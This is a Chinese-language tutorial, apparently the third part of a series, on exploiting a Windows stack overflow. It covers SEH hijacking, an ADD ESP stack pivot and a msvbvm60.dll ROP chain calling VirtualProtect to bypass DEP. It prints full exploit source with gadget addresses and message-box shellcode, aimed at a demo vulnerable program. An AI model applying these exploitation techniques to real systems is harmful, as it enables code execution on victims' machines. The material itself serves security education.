百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 软件资讯 > 正文

Windows内存破坏漏洞的现代探索:堆栈溢出(三)

dezehang 2024-11-22 13:04 1 浏览


在上一篇文章中,我们为读者详细介绍了SHE劫持技术,以及DED和ASLR防御机制,在本文中,我们将继续为读者讲解如何创建ROP链。


创建ROP链

第一步,我使用Ropper从msvbvm60.dll中提取所有可能有用的可执行代码片段(以RET、JMP或CALL指令结束)。实际上,我创建ROP链有三个主要意图:

  1. 通过从msvbvm60.dll的IAT加载其地址来调用KERNEL32.DLL!VirtualProtect(以绕过KERNEL32.DLL的ASLR)。
  2. 动态控制VirtualProtect的第一个参数,使其指向堆栈上的shellcode(以绕过DEP)。
  3. 人为控制VirtualProtect的返回地址,令其返回时,动态地执行堆栈上的shellcode(现在的权限是+RWX)。

在编写ROP链的时候,我先用汇编语言描述所需逻辑的伪代码,然后,设法用ROP Gadget来复现该逻辑。

Gadget #1 | MOV REG1, <Address of VirtualProtect IAT thunk> ; RET

Gadget #2 | MOV REG2, <Address of JMP ESP - Gadget #6> ; RET

Gadget #3 | MOV REG3, <Address of gadget #5> ; RET

Gadget #4 | PUSH ESP ; PUSH REG3 ; RET

Gadget #5 | PUSH REG2 ; JMP DWORD [REG1]

Gadget #6 | JMP ESP

图14 ROP链伪代码逻辑

值得注意的是,在上面精心构造的的逻辑中,使用了msvbvm60.dll中一个包含VirtualProtect地址的解除引用的IAT thunk地址,以解决KERNEL32.DLL的ASLR问题。Windows在加载msvbvm60.dll时,会为我们解析VirtualProtect的地址,并且这个地址将始终保存在msvbvm60.dll内的同一位置处。这里,我打算使用JMP指令来调用它,而不是CALL指令。这是因为我需要为调用VirtualProtect创建一个伪造的返回地址,这个返回地址将导致shellcode(现在已经摆脱了DEP)直接执行。这个伪造的返回地址会指向一个JMP ESP gadget。我这么做的理由是:尽管不知道(也无法知道)通过溢出写入栈中的shellcode的具体位置,但该gadget返回后,ESP会指向ROP链的末端,而我可以精心构造溢出内容,使shellcode正好位于这个ROP链后面。

此外,我在第4个gadget中也使用了同样的技术:通过两个push指令让ESP动态生成VirtualProtect的第一个参数。与JMP ESP指令不同(其中ESP会直接指向我的shellcode),这里的ESP会与我的shellcode的地址略有偏差(运行时ESP与ROP链末端的距离)。这并不是一个问题,因为充其量只是在ROP链的末端除了shellcode本身之外,还将禁用DEP。

在构建ROP链的过程中(也就是将上述逻辑付诸实施过程中),我发现gadget #4(我的伪代码gadget中最稀有和最不可替代的一个)没有出现在msvbvm60.dll中。这个挫折是一个很好的例子,说明了为什么在任何公共漏洞利用代码中几乎每个ROP链都在使用PUSHAD指令,而不是类似于我所描述的伪代码逻辑。

简而言之,PUSHAD指令允许exploit编写者动态地将ESP的值(以及堆栈上的shellcode)与所有其他相关的KERNEL32.DLL!VirtualProtect参数一起放到堆栈上,而无需使用任何罕见的gadget。他们所有需要做的就是正确填充每个通用寄存器的值,然后执行PUSHAD ; RET gadget来完成攻击。关于这方面的详细介绍,请访问Corelan撰写的“ Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s[TM] Cube”一文。最终,我们的ROP链需要通过如下方式设置相关的寄存器:

EAX = NOP sled

ECX = Old protection (writable address)

EDX = PAGE_EXECUTE_READWRITE

EBX = Size

EBP = VirtualProtect return address (JMP ESP)

ESI = KERNEL32.DLL!VirtualProtect

EDI = ROPNOP

在实践中,上面的逻辑可以被ROP gadget替换,具体如下面的伪码所示:

Gadget #1: MOV EAX, <msvbvm60.dll!VirtualProtect>

Gadget #2: MOV ESI, DWORD [ESI]

Gadget #3: MOV EAX, 0x90909090

Gadget #4: MOV ECX, <msvbvm60.dll!.data>

Gadget #5: MOV EDX, 0x40

Gadget #6: MOV EBX, 0x2000

Gadget #7: MOV EBP,

Gadget #8: MOV EDI,

Gadget #9: PUSHAD

Gadget #10: ROPNOP

Gadget #11: JMP ESP

上面的伪码逻辑最终可以转换为来自msvbvm60.dll的ROP链数据,具体如下所示:

uint8_t RopChain[] =

"\x54\x1e\x00\x66" // 0x66001e54 | Gadget #1 | POP ESI ; RET

"\xd0\x10\x00\x66" // 0x660010d0 -> ESI | <msvbvm60.dll!VirtualProtect thunk>

"\xfc\x50\x05\x66" // 0x660550fc | Gadget #2 | MOV EAX, DWORD [ESI] ; POP ESI; RET

"\xef\xbe\xad\xde" // Junk

"\xf8\x9f\x0f\x66" // 0x660f9ff8 | Gadget #3 | XCHG EAX, ESI; RET

"\x1f\x98\x0e\x66" // 0x660e981f | Gadget #4 | POP EAX; RET

"\x90\x90\x90\x90" // NOP sled -> EAX | JMP ESP will point here

"\xf0\x1d\x00\x66" // 0x66001df0 | Gadget #5 | POP EBP; RET

"\xea\xcb\x01\x66" // 0x6601CBEA -> EBP |

"\x10\x1f\x00\x66" // 0x66001f10 | Gadget #6 | POP EBX; RET

"\x00\x20\x00\x00" // 0x2000 -> EBX | VirtualProtect() | Param #2 | dwSize

"\x21\x44\x06\x66" // 0x66064421 | Gadget #7 | POP EDX; RET

"\x40\x00\x00\x00" // 0x40 -> EDX | VirtualProtect() | Param #3 | flNewProtect | PAGE_EXECUTE_READWRITE

"\xf2\x1f\x00\x66" // 0x66001ff2 | Gadget #8 | POP ECX; RET

"\x00\xa0\x10\x66" // 0x6610A000 -> ECX | VirtualProtect() | Param #4 | lpflOldProtect

"\x5b\x57\x00\x66" // 0x6600575b | Gadget #9 | POP EDI; RET

"\xf9\x28\x0f\x66" // 0x660F28F9 -> EDI |

"\x54\x12\x05\x66" // 0x66051254 | Gadget #10 | PUSHAD; RET

// 0x660F28F9 | Gadget #11 | ROPNOP | returns into VirtualProtect

// 0x6601CBEA | Gadget #12 | PUSH ESP; RET | return address from VirtualProtect

图15 来自msvbvm60.dll的ROP链


执行任意代码

构建了ROP链,也搞定了劫持EIP的方法,现在剩下的唯一任务就是构建exploit。为此,我们必须了解当伪造的SEH handler收到程序的控制权时堆栈的布局情况。理想情况下,我们当然希望ESP直接指向ROP链的顶部,并结合EIP重定向,使其指向链中的第一个gadget。在实践中,这是不可能的。让我们回顾一下图8所示的堆栈喷射代码,并在在伪造的handler的开始处设置一个断点,以观察发生溢出和EIP劫持后栈的状态。

图16 喷入的SEH handler执行时堆栈的状态

在右边的突出显示的区域,我们可以看到堆栈的底部位于0x010FF3C0处。然而,您可能会注意到,堆栈中的值都不是我们溢出的内容——大家可能还记得,在发生访问冲突之前,我们在不断向堆栈中喷射伪造的SEH handler的地址。在左边突出显示的区域,我们可以看到,我们的溢出内容起始于0x010FFA0C附近。因此,在异常发生后,NTDLL.DLL让ESP向我们用溢出内容覆盖的堆栈区域下方偏移了0x64C字节(记住,堆栈是向下生长的,而不是向上生长的)。有了这些信息,就不难理解发生了什么。当NTDLL.DLL处理异常时,它开始使用异常发生时ESP下方的堆栈区域,而这个区域是我们鞭长莫及的,因此,也就无法写入我们的ROP链。

因此,这就产生了一个有趣的问题。也就是说,要想执行ROP链,我们需要让伪造的SEH handler设法让ESP(栈顶指针)重新指向由溢出内容覆盖的堆栈区域。当我们的断点被击中时,检查ESP的值,我们可以在0x010FF3C0处看到一个返回NTDLL.DLL的地址(无用),其后是另一个位于我们所能控制的堆栈范围(0x010FF4C4)下方的地址(也无用),它位于0x010FF3C4处。然而,0x010FF3C8处的第三个值0x010FF3A74直接落在从0x010FFA0C开始的受控区域的地址范围内,其偏移值为0x64。重新审视异常处理程序的原型,就会发现这第三个值(代表传递给处理程序的第二个参数)对应的是Windows传递给SEH handler的“已建帧”的指针。

EXCEPTION_DISPOSITION __cdecl SehHandler(EXCEPTION_RECORD* pExceptionRecord, void* pEstablisherFrame, CONTEXT* pContextRecord, void* pDispatcherContext)

在我们的调试器中,检查堆栈中0x010FF3A74这个地址处的内容,我们可以更进一步地了解这个参数(也称为NSEH)的指向。

图17 传递给SEH handler的已建帧参数所指示的堆栈区域

果然,我们可以看到,这个地址指向我们的溢出所控制的堆栈的一个区域(现在该区域已经被喷入的handler地址填满了)。具体来说,它直接指向前面提到的EXCEPTION_REGISTRATION_RECORD结构体的开始位置,而我们早就覆盖了这个结构体并用它来劫持EIP。在理想情况下,我们伪造的SEH handler会将ESP设置为[ESP + 8],并且我们会将ROP链的开头部分放在被我们的溢出内容覆盖的EXCEPTION_REGISTRATION_RECORD结构体的开始处。对于这种类型的堆栈pivot,一个理想的gadget是POP REG;POP REG;POP ESP;RET或这种逻辑的一些变体,然而,msvbvm60.dll中并没有这种gadget,我不得不设法设计一个不同的解决方案。如前所述,当NTDLL将EIP重定向到我们伪造的SEH handler时,ESP在堆栈上的偏移量0x64C已经超出了我们用溢出控制的区域(具体来说,跑到该区域的下方了)。因此,对于堆栈pivot的这个问题,一个不太优雅的解决方案就是直接给ESP加上一个大于或等于0x64C的值。Ropper提供了一个功能,可以提取潜在的堆栈pivot gadget:

图18 使用Ropper从msvbvm60.dll中提取堆栈pivot

ADD ESP,0x1004 ; RET是一个略显混乱的gadget:它超出溢出开始处0x990个字节,但由于它是唯一一个值大于0x64C的ADD ESP,因此别无选择。这个堆栈pivot会让ESP从我们的溢出起始处超出0x990或0x98C个字节(当然,对于同一应用程序的不同实例以及Windows的不同版本来说,该值还能会有所变化)。这意味着我们需要在实际ROP链开始之前,用0x98C个垃圾字节和ROPNOP来填充溢出。

图19 溢出后EIP劫持点处的堆栈布局图

将这些知识整合到一段代码中:

#include

#include

#include

uint8_t Exploit[] =

"AAAAAAAAAAAAAAAA" // 16 bytes for buffer length

"AAAA" // Stack Cookie

"AAAA" // EBP

"AAAA" // Return address

"AAAA" // Overflow() | Param #1 | pInputBuf

"AAAA" // Overflow() | Param #2 | dwInputBufSize

"DDDD" // EXECEPTION_REGISTRATION_RECORD.Next

"\xf3\x28\x0f\x66"// EXECEPTION_REGISTRATION_RECORD.Handler | 0x660f28f3 | ADD ESP, 0x1004; RET

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"\xf9\x28\x0f\x66" // 0x660F28F9 | ROPNOP

// ROP chain begins

// EAX = NOP sled

// ECX = Old protection (writable address)

// EDX = PAGE_EXECUTE_READWRITE

// EBX = Size

// EBP = VirtualProtect return address (JMP ESP)

// ESI = KERNEL32.DLL!VirtualProtect

// EDI = ROPNOP

"\x54\x1e\x00\x66" // 0x66001e54 | Gadget #1 | POP ESI ; RET

"\xd0\x10\x00\x66" // 0x660010d0 -> ESI | <msvbvm60.dll!VirtualProtect thunk>

"\xfc\x50\x05\x66" // 0x660550fc | Gadget #2 | MOV EAX, DWORD [ESI] ; POP ESI; RET

"\xef\xbe\xad\xde" // Junk

"\xf8\x9f\x0f\x66" // 0x660f9ff8 | Gadget #3 | XCHG EAX, ESI; RET

"\x1f\x98\x0e\x66" // 0x660e981f | Gadget #4 | POP EAX; RET

"\x90\x90\x90\x90" // NOP sled -> EAX | JMP ESP will point here

"\xf0\x1d\x00\x66" // 0x66001df0 | Gadget #5 | POP EBP; RET

"\xea\xcb\x01\x66" // 0x6601CBEA -> EBP |

"\x10\x1f\x00\x66" // 0x66001f10 | Gadget #6 | POP EBX; RET

"\x00\x20\x00\x00" // 0x2000 -> EBX | VirtualProtect() | Param #2 | dwSize

"\x21\x44\x06\x66" // 0x66064421 | Gadget #7 | POP EDX; RET

"\x40\x00\x00\x00" // 0x40 -> EDX | VirtualProtect() | Param #3 | flNewProtect | PAGE_EXECUTE_READWRITE

"\xf2\x1f\x00\x66" // 0x66001ff2 | Gadget #8 | POP ECX; RET

"\x00\xa0\x10\x66" // 0x6610A000 -> ECX | VirtualProtect() | Param #4 | lpflOldProtect

"\x5b\x57\x00\x66" // 0x6600575b | Gadget #9 | POP EDI; RET

"\xf9\x28\x0f\x66" // 0x660F28F9 -> EDI |

"\x54\x12\x05\x66" // 0x66051254 | Gadget #10 | PUSHAD; RET

// 0x660F28F9 | Gadget #11 | ROPNOP | returns into VirtualProtect

// 0x6601CBEA | Gadget #12 | PUSH ESP; RET | return address from VirtualProtect

// Shellcode

"\x55\x89\xe5\x68\x88\x4e\x0d\x00\xe8\x53\x00\x00\x00\x68\x86\x57"

"\x0d\x00\x50\xe8\x94\x00\x00\x00\x68\x33\x32\x00\x00\x68\x55\x73"

"\x65\x72\x54\xff\xd0\x68\x1a\xb8\x06\x00\x50\xe8\x7c\x00\x00\x00"

"\x6a\x64\x68\x70\x77\x6e\x65\x89\xe1\x68\x6e\x65\x74\x00\x68\x6f"

"\x72\x72\x2e\x68\x65\x73\x74\x2d\x68\x66\x6f\x72\x72\x68\x77\x77"

"\x77\x2e\x89\xe2\x6a\x00\x52\x51\x6a\x00\xff\xd0\x89\xec\x5d\xc3"

"\x55\x89\xe5\x57\x56\xbe\x30\x00\x00\x00\x64\xad\x8b\x40\x0c\x8b"

"\x78\x18\x89\xfe\x31\xc0\xeb\x04\x39\xf7\x74\x28\x85\xf6\x74\x24"

"\x8d\x5e\x24\x85\xdb\x74\x14\x8b\x4b\x04\x85\xc9\x74\x0d\x6a\x01"

"\x51\xe8\x5d\x01\x00\x00\x3b\x45\x08\x74\x06\x31\xc0\x8b\x36\xeb"

"\xd7\x8b\x46\x10\x5e\x5f\x89\xec\x5d\xc2\x04\x00\x55\x89\xe5\x81"

"\xec\x30\x02\x00\x00\x8b\x45\x08\x89\x45\xf8\x8b\x55\xf8\x03\x42"

"\x3c\x83\xc0\x04\x89\x45\xf0\x83\xc0\x14\x89\x45\xf4\x89\xc2\x8b"

"\x45\x08\x03\x42\x60\x8b\x4a\x64\x89\x4d\xd0\x89\x45\xfc\x89\xc2"

"\x8b\x45\x08\x03\x42\x20\x89\x45\xec\x8b\x55\xfc\x8b\x45\x08\x03"

"\x42\x24\x89\x45\xe4\x8b\x55\xfc\x8b\x45\x08\x03\x42\x1c\x89\x45"

"\xe8\x31\xc0\x89\x45\xe0\x89\x45\xd8\x8b\x45\xfc\x8b\x40\x18\x3b"

"\x45\xe0\x0f\x86\xd2\x00\x00\x00\x8b\x45\xe0\x8d\x0c\x85\x00\x00"

"\x00\x00\x8b\x55\xec\x8b\x45\x08\x03\x04\x11\x89\x45\xd4\x6a\x00"

"\x50\xe8\xbd\x00\x00\x00\x3b\x45\x0c\x0f\x85\xa1\x00\x00\x00\x8b"

"\x45\xe0\x8d\x14\x00\x8b\x45\xe4\x0f\xb7\x04\x02\x8d\x0c\x85\x00"

"\x00\x00\x00\x8b\x55\xe8\x8b\x45\x08\x03\x04\x11\x89\x45\xd8\x8b"

"\x4d\xfc\x89\xca\x03\x55\xd0\x39\xc8\x7c\x7f\x39\xd0\x7d\x7b\xc7"

"\x45\xd8\x00\x00\x00\x00\x31\xc9\x8d\x9d\xd0\xfd\xff\xff\x8a\x14"

"\x08\x80\xfa\x00\x74\x20\x80\xfa\x2e\x75\x15\xc7\x03\x2e\x64\x6c"

"\x6c\x83\xc3\x04\xc6\x03\x00\x8d\x9d\xd0\xfe\xff\xff\x41\xeb\xde"

"\x88\x13\x41\x43\xeb\xd8\xc6\x03\x00\x8d\x9d\xd0\xfd\xff\xff\x6a"

"\x00\x53\xe8\x3c\x00\x00\x00\x50\xe8\xa3\xfe\xff\xff\x85\xc0\x74"

"\x29\x89\x45\xdc\x6a\x00\x8d\x95\xd0\xfe\xff\xff\x52\xe8\x21\x00"

"\x00\x00\x50\xff\x75\xdc\xe8\xd1\xfe\xff\xff\x89\x45\xd8\xeb\x0a"

"\x8d\x45\xe0\xff\x00\xe9\x1f\xff\xff\xff\x8b\x45\xd8\x89\xec\x5d"

"\xc2\x08\x00\x55\x89\xe5\x57\x8b\x4d\x08\x8b\x7d\x0c\x31\xdb\x80"

"\x39\x00\x74\x14\x0f\xb6\x01\x0c\x60\x0f\xb6\xd0\x01\xd3\xd1\xe3"

"\x41\x85\xff\x74\xea\x41\xeb\xe7\x89\xd8\x5f\x89\xec\x5d\xc2\x08"

"\x00";



void Overflow(uint8_t* pInputBuf, uint32_t dwInputBufSize) {

char Buf[16] = { 0 };

memcpy(Buf, pInputBuf, dwInputBufSize);

}



int32_t wmain(int32_t nArgc, const wchar_t* pArgv[]) {

char Junk[0x5000] = { 0 }; // Move ESP lower to ensure the exploit data can be accomodated in the overflow

HMODULE hModule = LoadLibraryW(L"msvbvm60.dll");



__asm {

Push0xdeadc0de// Address of handler function

PushFS:[0]// Address of previous handler

Mov FS:[0], Esp// Install new EXECEPTION_REGISTRATION_RECORD

}



printf("... loaded non-ASLR/non-SafeSEH module msvbvm60.dll to 0x%p\r\n", hModule);

printf("... passing %d bytes of data to vulnerable function\r\n", sizeof(Exploit) - 1);

Overflow(Exploit, 0x20000);

return 0;

}

图20 存在堆栈溢出漏洞的应用程序,以及通过SEH劫持绕过堆栈Cookies的exploit代码

上面的代码中有几个细节值得注意。首先,您可能注意到,我通过将垃圾异常处理程序(0xdeadc0de)链接到TEB(FS[0])中的处理程序列表,显式注册了该处理程序。之所以这样做,是因为我发现在堆栈顶部覆盖NTDLL.DLL注册的默认处理程序的做法不太可靠。这是因为有时堆栈的顶端没有足够的空间来容纳shellcode,这会触发VirtualProtect的STATUS_CONFICTING_ADDRESS错误(代码0xc0000015)。

图20中另一个值得注意的细节是,我在ROP链末端的溢出内容中加入了自己的shellcode。这是我编写的一个自定义的shellcode(源代码可以从Github上下载),它在ROP链化后的堆栈上被执行后会弹出一个消息框。

编译完含有溢出漏洞程序后,我们可以进行单步跟踪,看看溢出数据是如何结合在一起来执行shellcode的。

图21 存在漏洞的程序在发生堆栈溢出前的状态

在第一个断点处,我们可以看到,栈上的目标EXCEPTION_REGISTRATION_RECORD位于0x00B9ABC8处。在发生溢出之后,我们可以期待该handler字段将被我们伪造的SEH handler的地址所覆盖。

图22 memcpy对堆栈末端之外执行写入操作是抛出的访问违例异常(Access violation exception)

在memcpy函数中,由于rep MOVSB指令试图将数据写入堆栈的末端之外的内存时,发生了访问违例异常。在0x00B9ABCC处,我们可以看到EXCEPTION_REGISTRATION_RECORD结构体的handler字段已经被我们msvbvm60.dll中的堆栈pivot gadget的地址所覆盖。

图23 伪造的SEH handler让ESP跳回由溢出控制的地区

在堆栈中向上跳过0x1004字节,我们可以看到在突出显示区域,ESP现在指向我们ROP链的开始地址。这个ROP链将填充所有相关寄存器的值,以便为PUSHAD gadget做好相应的准备,之后,该gadget将把这些值移到堆栈上,从而为调用KERNEL32.DLL!VirtualProtect做好准备。

图24 PUSHAD为绕过DEP准备好相应的调用栈

在PUSHAD指令执行后,我们可以看到ESP现在指向msvbvm60.dll中的ROPN,其后紧跟KERNEL32.DLL中VirtualProtect的地址。在0x00B9B594处,我们可以看到传递给VirtualProtect的第一个参数,就是我们堆栈上0x00B9B5A4处的shellcode的地址(该地址在图24中已经突出显示)。

图25 ROP链的最后一个gadget将EIP设置为ESP

一旦VirtualProtect返回,ROP链中的最后一个gadget就会将EIP重定向到ESP的值,这样,ESP将指向我们直接存储在ROP链之后的shellcode的起始位置。您可能已经注意到,shellcode的前4个字节实际上就是ROP链通过PUSHAD指令动态生成的NOP指令,而不是通过溢出写入的shellcode的起始位置。

图26 弹出消息框的shellcode在堆栈上成功执行,从而完成了漏洞的利用过程


小结

在本文中,我们为读者解释了ROP链的创建过程,以及执行任意代码的实现过程,在下一篇文章中,我们将为读者介绍针对SEH劫持技术的一种强大的防御机制,即SEHOP。

相关推荐

WIN10系统如何安装UG10.0

随着科技的不断进步与更新,现在有很多公司己经安装上了WIN10的系统以及使用UG10.0了,但很多人反映WIN10系统安装UG10.0不好装,以下详细介绍一下1如果WIN10系统没有自带有JAVA需...

自学UG编程的心得分享

为什么有的人3个月学会基本的UG建模画图编程,有的断断续续3——5年才学会,还有的人干了7年的加工中心还不会电脑画图编程。这是什么原因?1.顾虑太多,什么都想得到,什么都想一起抓,总是上班加班没时间,...

UG/NX 绘制一个捞笊(zhào)模型,或者也可以叫它漏勺?

今天我们来看看这个模型,起因是群里有小伙伴说要做一个捞笊的模型,看见这名字直接给我整懵了,然后他发了张家里漏勺的图片才知道原来这玩意还有个这种名字。这东西相信每个小伙伴家里都有吧,它的建模方法也比较...

再也不用为学UG编程发愁了!380集最新UG资料免费送

上期发的UG教程很多粉丝都领到了,收获越来越多的好评!有你们一直陪伴真的很高兴,谢谢各位粉丝!为了给大家提供更优质的资源,这两个月都在整理你们最关心的UG资源,都是多位编程工厂老师傅的工厂实战精华,真...

优胜原创UG_3-4-5轴后处理下载

反复上机调试,安全稳定可靠,请放心使用2020.11.21,修复YSUG4-5轴后处理锁轴输出...

青华模具学院-UG10.0安装文件说明

青华模具学院分享:今天我们来跟大家一起学习NX10.0版本的安装方法,网上有很多这个版本的安装视频以及方法图文,但到最终安装软件时仍有很多新手对安装仍然感到头痛,基于这样的情况,我们特别就NX10.0...

UGnx10安装说明

温馨提示,安装前,请退出杀毒软件,关闭防火墙,因为这些软件可能阻断NX主程序和许可程序间的通信,导致安装后,软件无法启动。1、解压下载后的压缩包,右键,选择‘’解压到UGNX10_64位正式版(csl...

正版UG软件,正版UG代理,正版软件和盗版软件的区别

大家都知道,UG软件是制造业必不可少的一款三维软件,广泛应用于:CAE(有限元分析),CAD(产品设计/模具设计),CAM(计算机辅助制造编程),那么有人不禁要问了,正版软件和盗版软件在使用上有明显区...

非常全面的UG加工模块中英对照(图标注释)

大家好,我是粥粥老师,听说很多同学都在学习UG但是没有学习资料和安装包,今天粥粥老师就全部打包好免费发放给你们,那么怎么获取全套资料图档安装包呢领取途径①关注②评论、点赞、转发③私信“UG或者...

腾讯自研Git客户端 UGit|Git 图形界面客户端

支持平台:#Windows#macOS腾讯推出的一款Git图形界面客户端,简化了Git的使用流程,特别适合处理大型项目和文件。支持直接提交和推送操作,避免在大规模项目中由于远程频繁变更而导致...

经典收藏:UG重用库的一些不为人知小技巧

免费领取UG产品编程、UG多轴UG模具编程、安装包安装教程图档资料关注私信我“领取资料”,即可免费领取完整版,感谢支持,爱你们哟,么么主题:UG后处理+仿真+外挂UG重用库的正确使用方法:首先有...

UG编程常用指令G、M代码,快收藏好

今天给大家分享数控编程常用的指令代码,希望对正在学习路上的你带来一丝丝帮助。最好的方法就是转发到自己空间,方便以后学习。对了,如果你还需要其他UG教程学习资料,CNC加工中心的一些参数,以及UG画图,...

UG NX7.0中文版从入门到精通

Unigraphics(简称UG)是一套功能强大的CAD/CAE/CAM应用软件,UGNX7是其最新版本。《UGNX7从入门到精通(中文版)》以UGNX7为平台,从工程应用的角度出发,通过基...

经典UG建模基础练习图纸

UG是目前工作中比较优秀拥有大量用户的一款机械模具产品行业三维设计软件,cam加工丶软件支持全中文汉化;能够带给用户更为非凡的设计与加工新体验。很多朋友私信小编问有没有UG建模练习图纸,今天给大家分享...

UG NC软件基础操作,如何设置UG草图精度

默认情况下我们绘制草图一般只保留一位小数,即使你输入多位小数软件也会自动四舍五入,这个你做一些国标的图还好,国标以毫米为单位,一般保留小数点后一位就够了,但如果你做的图是英制单位,那么保留一位小数肯定...